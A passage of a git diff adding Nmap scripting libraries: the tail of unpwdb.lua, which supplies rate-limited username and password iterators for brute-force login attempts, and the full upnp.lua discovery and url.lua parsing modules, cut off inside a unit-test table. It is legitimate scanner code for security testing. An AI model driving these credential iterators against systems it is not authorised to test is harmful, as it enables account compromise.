+-- password in <code>"mypass #!comment: blah"</code> contain a space, two
+-- spaces, or do they just separate the password from the comment?
+--
+-- @usage
+-- require("unpwdb")
+--
+-- local usernames, passwords
+-- local try = nmap.new_try()
+--
+-- usernames = try(unpwdb.usernames())
+-- passwords = try(unpwdb.passwords())
+--
+-- for password in passwords do
+-- for username in usernames do
+-- -- Do something with username and password.
+-- end
+-- usernames("reset")
+-- end
+--
+-- @usage
+-- nmap --script-args userdb=/tmp/user.lst
+-- nmap --script-args unpwdb.timelimit=10m
+--
+-- @args userdb The filename of an alternate username database. Default: nselib/data/usernames.lst
+-- @args passdb The filename of an alternate password database. Default: nselib/data/passwords.lst
+-- @args unpwdb.userlimit The maximum number of usernames
+-- <code>usernames</code> will return (default unlimited).
+-- @args unpwdb.passlimit The maximum number of passwords
+-- <code>passwords</code> will return (default unlimited).
+-- @args unpwdb.timelimit The maximum amount of time that any iterator will run
+-- before stopping. The value is in seconds by default and you can follow it
+-- with <code>ms</code>, <code>s</code>, <code>m</code>, or <code>h</code> for
+-- milliseconds, seconds, minutes, or hours. For example,
+-- <code>unpwdb.timelimit=30m</code> or <code>unpwdb.timelimit=.5h</code> for
+-- 30 minutes. The default depends on the timing template level (see the module
+-- description). Use the value <code>0</code> to disable the time limit.
+-- @author Kris Katterjohn 06/2008
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local io = require "io"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local datetime = require "datetime"
+_ENV = stdnse.module("unpwdb", stdnse.seeall)
+
+local usertable = {}
+local passtable = {}
+
+local customdata = false
+
+-- So I don't have to type as much :)
+local args = nmap.registry.args
+
+local userfile = function()
+ if args.userdb then
+ customdata = true
+ return args.userdb
+ end
+
+ return nmap.fetchfile("nselib/data/usernames.lst")
+end
+
+local passfile = function()
+ if args.passdb then
+ customdata = true
+ return args.passdb
+ end
+
+ return nmap.fetchfile("nselib/data/passwords.lst")
+end
+
+local filltable = function(filename, table)
+ if #table ~= 0 then
+ return true
+ end
+
+ local file, err = io.open(filename, "r")
+
+ if not file then
+ return false, err
+ end
+
+ for l in file:lines() do
+ -- Comments takes up a whole line
+ if not l:match("#!comment:") then
+ table[#table + 1] = l
+ end
+ end
+
+ file:close()
+
+ return true
+end
+
+table_iterator = function(table)
+ local i = 1
+
+ return function(cmd)
+ if cmd == "reset" then
+ i = 1
+ return
+ end
+ local elem = table[i]
+ if elem then i = i + 1 end
+ return elem
+ end
+end
+
+--- Returns the suggested number of seconds to attempt a brute force attack
+--
+-- Based on the <code>unpwdb.timelimit</code> script argument, Nmap's timing
+-- values (<code>-T4</code> etc.) and whether or not a user-defined list is
+-- used.
+--
+-- You can use the script argument <code>notimelimit</code> to make this
+-- function return <code>nil</code>, which means the brute-force should run
+-- until the list is empty. If <code>notimelimit</code> is not used, be sure to
+-- still check for <code>nil</code> return values on the above two functions in
+-- case you finish before the time limit is up.
+timelimit = function()
+ -- If we're reading from a user-defined username or password list,
+ -- we'll give them a timeout 1.5x the default. If the "notimelimit"
+ -- script argument is used, we return nil.
+
+ -- Easy enough
+ if args.notimelimit then
+ return nil
+ end
+ if args["unpwdb.timelimit"] then
+ local limit, err = stdnse.parse_timespec(args["unpwdb.timelimit"])
+ if not limit then
+ error(err)
+ end
+ return limit
+ end
+
+ local t = nmap.timing_level()
+ if t <= 3 then
+ return (customdata and 900) or 600
+ elseif t == 4 then
+ return (customdata and 450) or 300
+ elseif t == 5 then
+ return (customdata and 270) or 180
+ end
+end
+
+--- Returns a function closure which returns a new username with every call
+-- until the username list is exhausted (in which case it returns
+-- <code>nil</code>).
+-- @return boolean Status.
+-- @return function The usernames iterator.
+local usernames_raw = function()
+ local path = userfile()
+
+ if not path then
+ return false, "Cannot find username list"
+ end
+
+ local status, err = filltable(path, usertable)
+ if not status then
+ return false, ("Error parsing username list: %s"):format(err)
+ end
+
+ return true, table_iterator(usertable)
+end
+
+--- Returns a function closure which returns a new password with every call
+-- until the password list is exhausted (in which case it returns
+-- <code>nil</code>).
+-- @return boolean Status.
+-- @return function The passwords iterator.
+local passwords_raw = function()
+ local path = passfile()
+
+ if not path then
+ return false, "Cannot find password list"
+ end
+
+ local status, err = filltable(path, passtable)
+ if not status then
+ return false, ("Error parsing password list: %s"):format(err)
+ end
+
+ return true, table_iterator(passtable)
+end
+
+--- Wraps time and count limits around an iterator.
+--
+-- When either limit expires, starts returning <code>nil</code>. Calling the
+-- iterator with an argument of "reset" resets the count.
+-- @param time_limit Time limit in seconds. Use 0 or <code>nil</code> for no limit.
+-- @param count_limit Count limit in seconds. Use 0 or <code>nil</code> for no limit.
+-- @param label A string describing the iterator, to be used in verbose print messages.
+-- @return boolean Status.
+-- @return function The wrapped iterator.
+limited_iterator = function(iterator, time_limit, count_limit, label)
+ time_limit = (time_limit and time_limit > 0) and time_limit
+ count_limit = (count_limit and count_limit > 0) and count_limit
+
+ local start = os.time()
+ local count = 0
+ label = label or "limited_iterator"
+ return function(cmd)
+ if cmd == "reset" then
+ count = 0
+ else
+ count = count + 1
+ end
+ if count_limit and count > count_limit then
+ stdnse.verbose1("%s: Count limit %d exceeded.", label, count_limit)
+ return
+ end
+ if time_limit and os.time() - start >= time_limit then
+ stdnse.verbose1("%s: Time limit %s exceeded.", label, datetime.format_time(time_limit))
+ return
+ end
+ return iterator(cmd)
+ end
+end
+
+--- Returns a function closure which returns a new password with every call
+-- until the username list is exhausted or either limit expires (in which cases
+-- it returns <code>nil</code>).
+-- @param time_limit Time limit in seconds. Use 0 for no limit.
+-- @param count_limit Count limit in seconds. Use 0 for no limit.
+-- @return boolean Status.
+-- @return function The usernames iterator.
+usernames = function(time_limit, count_limit)
+ local status, iterator
+
+ status, iterator = usernames_raw()
+ if not status then
+ return false, iterator
+ end
+
+ time_limit = time_limit or timelimit()
+ if not count_limit and args["unpwdb.userlimit"] then
+ count_limit = tonumber(args["unpwdb.userlimit"])
+ end
+
+ return true, limited_iterator(iterator, time_limit, count_limit, "usernames")
+end
+
+--- Returns a function closure which returns a new password with every call
+-- until the password list is exhausted or either limit expires (in which cases
+-- it returns <code>nil</code>).
+-- @param time_limit Time limit in seconds. Use 0 for no limit.
+-- @param count_limit Count limit in seconds. Use 0 for no limit.
+-- @return boolean Status.
+-- @return function The passwords iterator.
+passwords = function(time_limit, count_limit)
+ local status, iterator
+
+ status, iterator = passwords_raw()
+ if not status then
+ return false, iterator
+ end
+
+ time_limit = time_limit or timelimit()
+ if not count_limit and args["unpwdb.passlimit"] then
+ count_limit = tonumber(args["unpwdb.passlimit"])
+ end
+
+ return true, limited_iterator(iterator, time_limit, count_limit, "passwords")
+end
+
+--- Returns a new iterator that iterates through its consecutive iterators,
+-- basically concatenating them.
+-- @param iter1 First iterator to concatenate.
+-- @param iter2 Second iterator to concatenate.
+-- @return function The concatenated iterators.
+function concat_iterators (iter1, iter2)
+ local function helper (next_iterator, command, first, ...)
+ if first ~= nil then
+ return first, ...
+ elseif next_iterator ~= nil then
+ return helper(nil, command, next_iterator(command))
+ end
+ end
+ local function iterator (command)
+ if command == "reset" then
+ iter1 "reset"
+ iter2 "reset"
+ else
+ return helper(iter2, command, iter1(command))
+ end
+ end
+ return iterator
+end
+
+--- Returns a new iterator that filters its results based on the filter.
+-- @param iterator Iterator that needs to be filtered
+-- @param filter Function that returns bool, which serves as a filter
+-- @return function The filtered iterator.
+function filter_iterator (iterator, filter)
+ return function (command)
+ if command == "reset" then
+ iterator "reset"
+ else
+ local val = iterator(command)
+ while val and not filter(val) do
+ val = iterator(command)
+ end
+ return val
+ end
+ end
+end
+
+return _ENV;
diff --git a/nselib/upnp.lua b/nselib/upnp.lua
new file mode 100644
index 0000000..0edbb6b
--- /dev/null
+++ b/nselib/upnp.lua
@@ -0,0 +1,348 @@
+--- A UPNP library based on code from upnp-info initially written by
+-- Thomas Buchanan. The code was factored out from upnp-info and partly
+-- re-written by Patrik Karlsson <patrik@cqure.net> in order to support
+-- multicast requests.
+--
+-- The library supports sending UPnP requests and decoding the responses
+--
+-- The library contains the following classes
+-- * <code>Comm</code>
+-- ** A class that handles communication with the UPnP service
+-- * <code>Helper</code>
+-- ** The helper class wraps the <code>Comm</code> class using functions with a more descriptive name.
+-- * <code>Util</code>
+-- ** The <code>Util</code> class contains a number of static functions mainly used to convert and sort data.
+--
+-- The following code snippet queries all UPnP services on the network:
+-- <code>
+-- local helper = upnp.Helper:new()
+-- helper:setMulticast(true)
+-- return stdnse.format_output(helper:queryServices())
+-- </code>
+--
+-- This next snippet queries a specific host for the same information:
+-- <code>
+-- local helper = upnp.Helper:new(host, port)
+-- return stdnse.format_output(helper:queryServices())
+-- </code>
+--
+--
+-- @author Thomas Buchanan
+-- @author Patrik Karlsson <patrik@cqure.net>
+
+--
+-- Version 0.1
+--
+
+local http = require "http"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+_ENV = stdnse.module("upnp", stdnse.seeall)
+
+Util = {
+
+ --- Compare function used for sorting IP-addresses
+ --
+ -- @param a table containing first item
+ -- @param b table containing second item
+ -- @return true if a is less than b
+ ipCompare = function(a, b)
+ return ipOps.compare_ip(a, "lt", b)
+ end,
+
+}
+
+Comm = {
+
+ --- Creates a new Comm instance
+ --
+ -- @param host string containing the host name or ip
+ -- @param port number containing the port to connect to
+ -- @return o a new instance of Comm
+ new = function( self, host, port )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.mcast = false
+ return o
+ end,
+
+ --- Connect to the server
+ --
+ -- @return status true on success, false on failure
+ connect = function( self )
+ if ( self.mcast ) then
+ self.socket = nmap.new_socket("udp")
+ self.socket:set_timeout(5000)
+ else
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout(5000)
+ local status, err = self.socket:connect(self.host, self.port, "udp" )
+ if ( not(status) ) then return false, err end
+ end
+
+ return true
+ end,
+
+ --- Send the UPNP discovery request to the server
+ --
+ -- @return status true on success, false on failure
+ sendRequest = function( self )
+
+ -- for details about the UPnP message format, see http://upnp.org/resources/documents.asp
+ local payload = 'M-SEARCH * HTTP/1.1\r\n\z
+ Host:239.255.255.250:1900\r\n\z
+ ST:upnp:rootdevice\r\n\z
+ Man:"ssdp:discover"\r\n\z
+ MX:3\r\n\r\n'
+
+ local status, err
+
+ if ( self.mcast ) then
+ status, err = self.socket:sendto( self.host, self.port, payload )
+ else
+ status, err = self.socket:send( payload )
+ end
+
+ if ( not(status) ) then return false, err end
+
+ return true
+ end,
+
+ --- Receives one or multiple UPNP responses depending on whether
+ -- <code>setBroadcast</code> was enabled or not.
+ --
+ -- The function returns the
+ -- status and a response containing:
+ -- * an array (table) of responses if broadcast is used
+ -- * a single response if broadcast is not in use
+ -- * an error message if status was false
+ --
+ -- @return status true on success, false on failure
+ -- @return result table or string containing results or error message
+ -- on failure.
+ receiveResponse = function( self )
+ local status, response
+ local result = {}
+ local host_responses = {}
+
+ repeat
+ status, response = self.socket:receive()
+ if ( not(status) and #response == 0 ) then
+ return false, response
+ elseif( not(status) ) then
+ break
+ end
+
+ local status, _, _, ip, _ = self.socket:get_info()
+ if ( not(status) ) then
+ return false, "Failed to retrieve socket information"
+ end
+ if target.ALLOW_NEW_TARGETS then target.add(ip) end
+
+ if ( not(host_responses[ip]) ) then
+ local status, output = self:decodeResponse( response )
+ if ( not(status) ) then
+ return false, "Failed to decode UPNP response"
+ end
+ output = { output }
+ output.name = ip
+ table.insert( result, output )
+ host_responses[ip] = true
+ end
+ until ( not( self.mcast ) )
+
+ if ( self.mcast ) then
+ table.sort(result, Util.ipCompare)
+ return true, result
+ end
+
+ if ( status and #result > 0 ) then
+ return true, result[1]
+ else
+ return false, "Received no responses"
+ end
+ end,
+
+ --- Processes a response from a upnp device
+ --
+ -- @param response as received over the socket
+ -- @return status boolean true on success, false on failure
+ -- @return response table or string suitable for output or error message if status is false
+ decodeResponse = function( self, response )
+ local output = {}
+
+ if response ~= nil then
+ -- We should get a response back that has contains one line for the server, and one line for the xml file location
+ -- these match any combination of upper and lower case responses
+ local server, location
+ server = string.match(response, "[Ss][Ee][Rr][Vv][Ee][Rr]:%s*(.-)\r?\n")
+ if server ~= nil then table.insert(output, "Server: " .. server ) end
+ location = string.match(response, "[Ll][Oo][Cc][Aa][Tt][Ii][Oo][Nn]:%s*(.-)\r?\n")
+ if location ~= nil then
+ table.insert(output, "Location: " .. location )
+
+ local v = nmap.verbosity()
+
+ -- the following check can output quite a lot of information, so we require at least one -v flag
+ if v > 0 then
+ local status, result = self:retrieveXML( location )
+ if status then
+ table.insert(output, result)
+ end
+ end
+ end
+ if #output > 0 then
+ return true, output
+ else
+ return false, "Could not decode response"
+ end
+ end
+ end,
+
+ --- Retrieves the XML file that describes the UPNP device
+ --
+ -- @param location string containing the location of the XML file from the UPNP response
+ -- @return status boolean true on success, false on failure
+ -- @return response table or string suitable for output or error message if status is false
+ retrieveXML = function( self, location )
+ local response
+ local options = {}
+ options['header'] = {}
+ options['header']['Accept'] = "text/xml, application/xml, text/html"
+
+ -- if we're in multicast mode, or if the user doesn't want us to override the IP address,
+ -- just use the HTTP library to grab the XML file
+ if ( self.mcast or ( not self.override ) ) then
+ response = http.get_url( location, options )
+ else
+ -- otherwise, split the location into an IP address, port, and path name for the xml file
+ local xhost, xport, xfile
+ xhost = string.match(location, "http://(.-)/")
+ -- check to see if the host portion of the location specifies a port
+ -- if not, use port 80 as a standard web server port
+ if xhost ~= nil and string.match(xhost, ":") then
+ xport = string.match(xhost, ":(.*)")
+ xhost = string.match(xhost, "(.*):")
+ end
+
+ -- check to see if the IP address returned matches the IP address we scanned
+ if xhost ~= self.host.ip then
+ stdnse.debug1("IP addresses did not match! Found %s, using %s instead.", xhost, self.host.ip)
+ xhost = self.host.ip
+ end
+
+ if xport == nil then
+ xport = 80
+ end
+
+ -- extract the path name from the location field, but strip off the \r that HTTP servers return
+ xfile = string.match(location, "http://.-(/.-)\013")
+ if xfile ~= nil then
+ response = http.get( xhost, xport, xfile, options )
+ end
+ end
+
+ if response ~= nil then
+ local output = {}
+
+ -- extract information about the webserver that is handling responses for the UPnP system
+ local webserver = response['header']['server']
+ if webserver ~= nil then table.insert(output, "Webserver: " .. webserver) end
+
+ -- the schema for UPnP includes a number of <device> entries, which can a number of interesting fields
+ for device in string.gmatch(response['body'], "<deviceType>(.-)</UDN>") do
+ local fn, mnf, mdl, nm, ver
+
+ fn = string.match(device, "<friendlyName>(.-)</friendlyName>")
+ mnf = string.match(device, "<manufacturer>(.-)</manufacturer>")
+ mdl = string.match(device, "<modelDescription>(.-)</modelDescription>")
+ nm = string.match(device, "<modelName>(.-)</modelName>")
+ ver = string.match(device, "<modelNumber>(.-)</modelNumber>")
+
+ if fn ~= nil then table.insert(output, "Name: " .. fn) end
+ if mnf ~= nil then table.insert(output,"Manufacturer: " .. mnf) end
+ if mdl ~= nil then table.insert(output,"Model Descr: " .. mdl) end
+ if nm ~= nil then table.insert(output,"Model Name: " .. nm) end
+ if ver ~= nil then table.insert(output,"Model Version: " .. ver) end
+ end
+ return true, output
+ else
+ return false, "Could not retrieve XML file"
+ end
+ end,
+
+ --- Enables or disables multicast support
+ --
+ -- @param mcast boolean true if multicast is to be used, false otherwise
+ setMulticast = function( self, mcast )
+ assert( type(mcast)=="boolean", "mcast has to be either true or false")
+ self.mcast = mcast
+ local family = nmap.address_family()
+ self.host = (family=="inet6" and "FF02::C" or "239.255.255.250")
+ self.port = 1900
+ end,
+
+ --- Closes the socket
+ close = function( self ) self.socket:close() end
+
+}
+
+
+Helper = {
+
+ --- Creates a new helper instance
+ --
+ -- @param host string containing the host name or ip
+ -- @param port number containing the port to connect to
+ -- @return o a new instance of Helper
+ new = function( self, host, port )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.comm = Comm:new( host, port )
+ return o
+ end,
+
+ --- Enables or disables multicast support
+ --
+ -- @param mcast boolean true if multicast is to be used, false otherwise
+ setMulticast = function( self, mcast ) self.comm:setMulticast(mcast) end,
+
+ --- Enables or disables whether the script will override the IP address is the Location URL
+ --
+ -- @param override boolean true if override is to be enabled, false otherwise
+ setOverride = function( self, override )
+ assert( type(override)=="boolean", "override has to be either true or false")
+ self.comm.override = override
+ end,
+
+ --- Sends a UPnP queries and collects a single or multiple responses
+ --
+ -- @return status true on success, false on failure
+ -- @return result table or string containing results or error message
+ -- on failure.
+ queryServices = function( self )
+ local status, err = self.comm:connect()
+ local response
+
+ if ( not(status) ) then return false, err end
+
+ status, err = self.comm:sendRequest()
+ if ( not(status) ) then return false, err end
+
+ status, response = self.comm:receiveResponse()
+ self.comm:close()
+
+ return status, response
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/url.lua b/nselib/url.lua
new file mode 100644
index 0000000..3234604
--- /dev/null
+++ b/nselib/url.lua
@@ -0,0 +1,543 @@
+---
+-- URI parsing, composition, and relative URL resolution.
+--
+-- A URL is represented as a table with the following entries:
+-- * <code>scheme</code>
+-- * <code>fragment</code>
+-- * <code>query</code>
+-- * <code>params</code>
+-- * <code>authority</code>
+-- * <code>userinfo</code>
+-- * <code>path</code>
+-- * <code>port</code>
+-- * <code>password</code>
+-- These correspond to these parts of a URL (some may be <code>nil</code>):
+-- <code>
+-- scheme://userinfo@password:authority:port/path;params?query#fragment
+-- </code>
+--
+-- @author Diego Nehab
+-- @author Eddie Bell <ejlbell@gmail.com>
+
+--[[
+URI parsing, composition and relative URL resolution
+LuaSocket toolkit.
+Author: Diego Nehab
+RCS ID: $Id: url.lua,v 1.37 2005/11/22 08:33:29 diego Exp $
+
+parse_query and build_query added For nmap (Eddie Bell <ejlbell@gmail.com>)
+--]]
+
+-----------------------------------------------------------------------------
+-- Declare module
+-----------------------------------------------------------------------------
+
+local _G = require "_G"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local idna = require "idna"
+local tableaux = require "tableaux"
+local unicode = require "unicode"
+local unittest = require "unittest"
+local base = _G
+
+
+_ENV = stdnse.module("url", stdnse.seeall)
+
+_VERSION = "URL 1.0"
+
+--[[ Internal functions --]]
+
+local function make_set(t)
+ local s = {}
+ for i,v in base.ipairs(t) do
+ s[t[i]] = 1
+ end
+ return s
+end
+
+local function hex_esc (c)
+ return string.format("%%%02X", string.byte(c))
+end
+
+-- these are allowed within a path segment, along with alphanum
+-- other characters must be escaped
+local segment_set = make_set {
+ "-", "_", ".", "!", "~", "*", "'", "(",
+ ")", ":", "@", "&", "=", "+", "$", ",",
+}
+setmetatable(segment_set, { __index = function(t, c) return hex_esc(c) end })
+
+---
+-- Protects a path segment, to prevent it from interfering with the
+-- URL parsing.
+-- @param s Binary string to be encoded.
+-- @return Escaped representation of string.
+local function protect_segment(s)
+ return string.gsub(s, "([^A-Za-z0-9_.~-])", segment_set)
+end
+
+---
+-- Builds a path from a base path and a relative path
+-- @param base_path A base path.
+-- @param relative_path A relative path.
+-- @return The corresponding absolute path.
+-----------------------------------------------------------------------------
+local function absolute_path(base_path, relative_path)
+ -- Function for normalizing trailing dot and dot-dot by adding the final /
+ local fixdots = function (s)
+ return s:gsub("%f[^/\0]%.$", "./"):gsub("%f[^/\0]%.%.$", "../")
+ end
+ local path = relative_path
+ if path:sub(1, 1) ~= "/" then
+ -- function wrapper to avoid %-substitution of captures
+ path = fixdots(base_path):gsub("[^/]*$", function() return path end)
+ end
+ -- Break the path into segments, processing dot and dot-dot
+ local segs = {}
+ for s in fixdots(path):gmatch("[^/]*") do
+ if s == "." then -- ignore
+ elseif s == ".." then -- remove the previous segment
+ if #segs > 1 or (#segs == 1 and segs[#segs] ~= "") then
+ table.remove(segs)
+ end
+ else -- add a regular segment, possibly empty
+ table.insert(segs, s)
+ end
+ end
+ return table.concat(segs, "/")
+end
+
+
+--[[ External functions --]]
+
+---
+-- Encodes a string into its escaped hexadecimal representation.
+-- @param s Binary string to be encoded.
+-- @return Escaped representation of string.
+-----------------------------------------------------------------------------
+function escape(s)
+ return (string.gsub(s, "([^A-Za-z0-9_.~-])", hex_esc))
+end
+
+
+local function hex_unesc (hex)
+ return string.char(base.tonumber(hex, 16))
+end
+
+---
+-- Decodes an escaped hexadecimal string.
+-- @param s Hexadecimal-encoded string.
+-- @return Decoded string.
+-----------------------------------------------------------------------------
+function unescape(s)
+ return (string.gsub(s, "%%(%x%x)", hex_unesc))
+end
+
+local function normalize_escape (s)
+ return escape(unescape(s))
+end
+
+function ascii_hostname(host)
+ local hostname = stdnse.get_hostname(host)
+ if hostname:match("[\x80-\xff]") then
+ -- TODO: Allow other Unicode encodings
+ local decoded = unicode.decode(hostname, unicode.utf8_dec)
+ if decoded then
+ local ascii_host = idna.toASCII(decoded)
+ if ascii_host then
+ hostname = ascii_host
+ end
+ end
+ end
+ return hostname
+end
+
+---
+-- Parses a URL and returns a table with all its parts according to RFC 3986.
+--
+-- The following grammar describes the names given to the URL parts.
+-- <code>
+-- <url> ::= <scheme>://<authority>/<path>;<params>?<query>#<fragment>
+-- <authority> ::= <userinfo>@<host>:<port>
+-- <userinfo> ::= <user>[:<password>]
+-- <path> :: = {<segment>/}<segment>
+-- </code>
+--
+-- The leading <code>/</code> in <code>/<path></code> is considered part of
+-- <code><path></code>.
+--
+-- If the host contains non-ASCII characters, the Punycode-encoded version of
+-- the host name will be in the <code>ascii_host</code> field of the returned
+-- table.
+--
+-- @param url URL of request.
+-- @param default Table with default values for each field.
+-- @return A table with the following fields, where RFC naming conventions have
+-- been preserved:
+-- <code>scheme</code>, <code>authority</code>, <code>userinfo</code>,
+-- <code>user</code>, <code>password</code>,
+-- <code>host</code>, <code>ascii_host</code>,
+-- <code>port</code>, <code>path</code>, <code>params</code>,
+-- <code>query</code>, and <code>fragment</code>.
+-----------------------------------------------------------------------------
+function parse(url, default)
+ -- initialize default parameters
+ local parsed = {}
+
+ for i,v in base.pairs(default or parsed) do parsed[i] = v end
+ -- remove whitespace
+ -- url = string.gsub(url, "%s", "")
+ -- Decode unreserved characters
+ url = string.gsub(url, "%%%x%x", normalize_escape)
+ -- get fragment
+ url = string.gsub(url, "#(.*)$", function(f)
+ parsed.fragment = f
+ return ""
+ end)
+ -- get scheme. Lower-case according to RFC 3986 section 3.1.
+ url = string.gsub(url, "^(%w[%w.+-]*):",
+ function(s) parsed.scheme = string.lower(s); return "" end)
+ -- get authority
+ url = string.gsub(url, "^//([^/]*)", function(n)
+ parsed.authority = n
+ return ""
+ end)
+ -- get query stringing
+ url = string.gsub(url, "%?(.*)", function(q)
+ parsed.query = q
+ return ""
+ end)
+ -- get params
+ url = string.gsub(url, "%;(.*)", function(p)
+ parsed.params = p
+ return ""
+ end)
+
+ -- path is whatever was left
+ parsed.path = url
+
+ -- Checks for folder route and extension
+ if parsed.path:sub(-1) == "/" then
+ parsed.is_folder = true
+ else
+ parsed.is_folder = false
+ parsed.extension = parsed.path:match("%.([^/.;]+)%f[;\0][^/]*$")
+ end
+
+ -- Represents host:port, port = nil if not used.
+ local authority = parsed.authority
+ if not authority then return parsed end
+ authority = string.gsub(authority,"^([^@]*)@",
+ function(u) parsed.userinfo = u; return "" end)
+ authority = string.gsub(authority, ":(%d+)$",
+ function(p) parsed.port = tonumber(p); return "" end)
+ if authority ~= "" then parsed.host = authority end
+ if parsed.host then
+ parsed.ascii_host = ascii_hostname(parsed.host)
+ end
+ local userinfo = parsed.userinfo
+ if not userinfo then return parsed end
+ userinfo = string.gsub(userinfo, ":([^:]*)$",
+ function(p) parsed.password = p; return "" end)
+ parsed.user = userinfo
+ return parsed
+end
+
+---
+-- Rebuilds a parsed URL from its components.
+--
+-- Components are protected if any reserved or disallowed characters are found.
+-- @param parsed Parsed URL, as returned by parse.
+-- @return A string with the corresponding URL.
+-----------------------------------------------------------------------------
+function build(parsed)
+ local ppath = parse_path(parsed.path or "")
+ local url = build_path(ppath)
+ if parsed.params then url = url .. ";" .. parsed.params end
+ if parsed.query then url = url .. "?" .. parsed.query end
+ local authority = parsed.authority
+ if parsed.host then
+ authority = parsed.host
+ if parsed.port then authority = authority .. ":" .. parsed.port end
+ local userinfo = parsed.userinfo
+ if parsed.user then
+ userinfo = parsed.user
+ if parsed.password then
+ userinfo = userinfo .. ":" .. parsed.password
+ end
+ end
+ if userinfo then authority = userinfo .. "@" .. authority end
+ end
+ if authority then url = "//" .. authority .. url end
+ if parsed.scheme then url = parsed.scheme .. ":" .. url end
+ if parsed.fragment then url = url .. "#" .. parsed.fragment end
+ -- url = string.gsub(url, "%s", "")
+ return url
+end
+
+---
+-- Builds an absolute URL from a base and a relative URL according to RFC 2396.
+-- @param base_url A base URL.
+-- @param relative_url A relative URL.
+-- @return The corresponding absolute URL.
+-----------------------------------------------------------------------------
+function absolute(base_url, relative_url)
+ local base_parsed;
+ if type(base_url) == "table" then
+ base_parsed = base_url
+ base_url = build(base_parsed)
+ else
+ base_parsed = parse(base_url)
+ end
+ local relative_parsed = parse(relative_url)
+ if not base_parsed then return relative_url
+ elseif not relative_parsed then return base_url
+ elseif relative_parsed.scheme then return relative_url
+ else
+ relative_parsed.scheme = base_parsed.scheme
+ if not relative_parsed.authority then
+ relative_parsed.authority = base_parsed.authority
+ if not relative_parsed.path then
+ relative_parsed.path = base_parsed.path
+ if not relative_parsed.params then
+ relative_parsed.params = base_parsed.params
+ if not relative_parsed.query then
+ relative_parsed.query = base_parsed.query
+ end
+ end
+ else
+ relative_parsed.path = absolute_path(base_parsed.path or "",
+ relative_parsed.path)
+ end
+ end
+ return build(relative_parsed)
+ end
+end
+
+---
+-- Breaks a path into its segments, unescaping the segments.
+-- @param path A path to break.
+-- @return A table with one entry per segment.
+-----------------------------------------------------------------------------
+function parse_path(path)
+ local parsed = {}
+ path = path or ""
+ --path = string.gsub(path, "%s", "")
+ string.gsub(path, "([^/]+)", function (s) table.insert(parsed, s) end)
+ for i, v in ipairs(parsed) do
+ parsed[i] = unescape(v)
+ end
+ if string.sub(path, 1, 1) == "/" then parsed.is_absolute = 1 end
+ if string.sub(path, -1, -1) == "/" then parsed.is_directory = 1 end
+ return parsed
+end
+
+---
+-- Builds a path component from its segments, escaping protected characters.
+-- @param parsed Path segments.
+-- @param unsafe If true, segments are not protected before path is built.
+-- @return The corresponding path string
+-----------------------------------------------------------------------------
+function build_path(parsed, unsafe)
+ local path = {}
+ if parsed.is_absolute then path[#path+1] = "/" end
+ local n = #parsed
+ if unsafe then
+ for i = 1, n-1 do
+ path[#path+1] = parsed[i] .. "/"
+ end
+ if n > 0 then
+ path[#path+1] = parsed[n]
+ if parsed.is_directory then path[#path+1] = "/" end
+ end
+ else
+ for i = 1, n-1 do
+ path[#path+1] = protect_segment(parsed[i]) .. "/"
+ end
+ if n > 0 then
+ path[#path+1] = protect_segment(parsed[n])
+ if parsed.is_directory then path[#path+1] = "/" end
+ end
+ end
+ return table.concat(path)
+end
+
+local entities = {
+ ["amp"] = "&",
+ ["lt"] = "<",
+ ["gt"] = ">"
+}
+---
+-- Breaks a query string into name/value pairs.
+--
+-- This function takes a <code><query></code> of the form
+-- <code>"name1=value1&name2=value2"</code>
+-- and returns a table containing the name-value pairs, with the name as the key
+-- and the value as its associated value. Both the name and the value are
+-- subject to URL decoding.
+-- @param query Query string.
+-- @return A table of name-value pairs following the pattern
+-- <code>table["name"]</code> = <code>value</code>.
+-----------------------------------------------------------------------------
+function parse_query(query)
+ local parsed = {}
+ local pos = 1
+
+ query = string.gsub(query, "&([ampltg]+);", entities)
+
+ local function ginsert(qstr)
+ local pos = qstr:find("=", 1, true)
+ if pos then
+ parsed[unescape(qstr:sub(1, pos - 1))] = unescape(qstr:sub(pos + 1))
+ else
+ parsed[unescape(qstr)] = ""
+ end
+ end
+
+ while true do
+ local first, last = string.find(query, "&", pos, true)
+ if first then
+ ginsert(string.sub(query, pos, first-1));
+ pos = last+1
+ else
+ ginsert(string.sub(query, pos));
+ break;
+ end
+ end
+ return parsed
+end
+
+---
+-- Builds a query string from a table.
+--
+-- This is the inverse of <code>parse_query</code>. Both the parameter name
+-- and value are subject to URL encoding.
+-- @param query A dictionary table where <code>table['name']</code> =
+-- <code>value</code>.
+-- @return A query string (like <code>"name=value2&name=value2"</code>).
+-----------------------------------------------------------------------------
+function build_query(query)
+ local qstr = {}
+
+ for i,v in pairs(query) do
+ qstr[#qstr+1] = escape(i) .. '=' .. escape(v)
+ end
+ return table.concat(qstr, '&')
+end
+
+local get_default_port_ports = {http=80, https=443}
+---
+-- Provides the default port for a given URI scheme.
+--
+-- @param scheme for determining the port, such as "http" or "https".
+-- @return A port number as an integer, such as 443 for scheme "https",
+-- or nil in case of an undefined scheme
+function get_default_port (scheme)
+ return get_default_port_ports[(scheme or ""):lower()]
+end
+
+get_default_scheme_schemes = tableaux.invert(get_default_port_ports)
+
+---
+-- Provides the default URI scheme for a given port.
+--
+-- @param port A port number as a number or port table
+-- @return scheme for addressing the port, such as "http" or "https".
+-----------------------------------------------------------------------------
+function get_default_scheme (port)
+ local number = (type(port) == "number") and port or port.number
+ return get_default_scheme_schemes[number]
+end
+
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+
+local test_urls = {
+ { _url = "https://dummy:pass@example.com:9999/example.ext?k1=v1&k2=v2#fragment=/",
+ _res = {
+ scheme = "https",
+ authority = "dummy:pass@example.com:9999",
+ userinfo = "dummy:pass",
+ user = "dummy",
+ password = "pass",
+ host = "example.com",
+ port = 9999,
+ path = "/example.ext",
+ query = "k1=v1&k2=v2",
+ fragment = "fragment=/",
+ is_folder = false,
+ extension = "ext",
+ },
+ _nil = {"params"}
+ },
